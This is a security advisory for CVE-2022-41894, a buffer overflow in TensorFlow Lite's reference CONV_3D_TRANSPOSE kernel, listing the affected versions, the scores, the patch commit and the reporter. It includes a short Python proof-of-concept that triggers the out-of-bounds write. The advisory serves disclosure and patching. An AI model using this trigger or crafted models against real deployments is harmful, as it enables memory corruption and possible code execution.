CVE-2022-41894 – tensorflow

Package

Manager: pip
Name: tensorflow
Vulnerable Version: >=0 <2.8.4 || >=2.9.0 <2.9.3 || >=2.10.0 <2.10.1

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS: 0.0021 pctl0.43458

Details

Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite ### Impact The reference kernel of the [`CONV_3D_TRANSPOSE`](https://github.com/tensorflow/tensorflow/blob/091e63f0ea33def7ecad661a5ac01dcafbafa90b/tensorflow/lite/kernels/internal/reference/conv3d_transpose.h#L121) TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result. Instead of `data_ptr += num_channels;` it should be `data_ptr += output_num_channels;` as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels > output_num_channels. An attacker can craft a model with a specific number of input channels in a way similar to the attached example script. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter (i.e. `experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF` is used). ```python import tensorflow as tf model = tf.keras.Sequential( [ tf.keras.layers.InputLayer(input_shape=(2, 2, 2, 1024), batch_size=1), tf.keras.layers.Conv3DTranspose( filters=8, kernel_size=(2, 2, 2), padding="same", data_format="channels_last", ), ] ) converter = tf.lite.TFLiteConverter.from_keras_model(model) tflite_model = converter.convert() interpreter = tf.lite.Interpreter( model_content=tflite_model, experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF, ) interpreter.allocate_tensors() interpreter.set_tensor( interpreter.get_input_details()[0]["index"], tf.zeros(shape=[1, 2, 2, 2, 1024]) ) interpreter.invoke() ``` ### Patches We have patched the issue in GitHub commit [72c0bdcb25305b0b36842d746cc61d72658d2941](https://github.com/tensorflow/tensorflow/commit/72c0bdcb25305b0b36842d746cc61d72658d2941). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Thibaut Goetghebuer-Planchon, Arm Ltd.

Metadata

Created: 2022-11-21T20:44:24Z
Modified: 2022-11-21T20:44:24Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/11/GHSA-h6q3-vv32-2cq5/GHSA-h6q3-vv32-2cq5.json
CWE IDs: ["CWE-120"]
Alternative ID: GHSA-h6q3-vv32-2cq5
Finding: F316
Auto approve: 1